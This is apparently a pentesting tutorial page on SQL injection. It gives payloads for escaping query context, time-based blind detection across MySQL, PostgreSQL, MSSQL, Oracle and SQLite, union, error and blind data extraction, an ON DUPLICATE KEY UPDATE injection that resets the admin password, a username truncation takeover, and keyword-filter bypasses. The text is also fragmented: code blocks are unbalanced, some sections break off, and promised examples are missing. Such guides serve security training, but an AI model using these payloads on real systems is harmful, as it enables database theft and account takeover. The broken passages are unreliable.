SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.
In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. \(From [here](https://portswigger.net/web-security/sql-injection)\).
> In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
## Entry point detection
You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**
These are some useful examples:
```text
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
Then, you need to know how to **fix the query so there isn't errors**. In order to fix the query you can **input** data so the **previous query accept the new data**, or you can just **input** your data and **add a comment symbol add the end**.
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **Comments**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### Confirming with logical operations
One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.
For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection.
Also you can apply this concept to **mathematical operations**. Example: If `?id=1` returns the same as `?id=2-1`, SQLinjection.
```text
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```
This word-list was created to try to **confirm SQLinjections** in the proposed way:
In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
```text
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology \(if any\)_.
### Identifying Back-end
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_**functions** of the previous section or these ones:
Also, if you have access to the output of the query, you could make it **print the version of the database**.
{% hint style="info" %}
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
{% endhint %}
## Exploiting Union Based
### Detecting number of columns
If you can see the output of the query this is the best way to exploit it.
First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.
Two methods are typically used for this purpose:
#### Order/Group by
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Exploiting Blind SQLi
In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.
In this case, you can abuse that behaviour to dump the database char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Exploiting Error Blind SQLi
This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not \(maybe because the HTTP server crashes\). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
In this case there **isn't** any way to **distinguish** the **response** of the query based on the context of the page. But, you can make the page **take longer to load** if the guessed character is correct. We have already saw this technique in use before in order to [confirm a SQLi vuln](./#confirming-with-timing).
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
You can use stacked queries to **execute multiple queries in succession**. Note that while the subsequent queries are executed, the **results** are **not returned to the application**. Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle** and **MySQL don't support** stacked queries. **Microsoft** and **PostgreSQL support** them: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
If **no-other** exploitation method **worked**, you may try to make the **database ex-filtrate** the info to an **external host** controlled by you. For example, via DNS queries:
Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
To do so you should try to **create a new object named as the "master object"** \(probably **admin** in case of users\) modifying something:
* Create user named: **AdMIn** \(uppercase & lowercase letters\)
* Create a user named: **admin=**
* **SQL Truncation Attack** \(when there is some kind of **length limit** in the username or email\) --> Create user with name: **admin \[a lot of spaces\] a**
#### SQL Truncation Attack
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces\] a_" and any password.
The database will **check** if the introduced **username****exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** \(in this case to: "_admin \[25 spaces\]_"\) and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** \(some error could appear but it doesn't means that this hasn't worked\).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/\#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
```text
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
### Extract information
#### Creating 2 accounts at the same time
When trying to create a new user and username, password and email are needed:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
## Routed SQL injection
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. \([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)\)
Blacklist using keywords case insensitive - bypass using an equivalent operator
```text
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not <andnot>
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
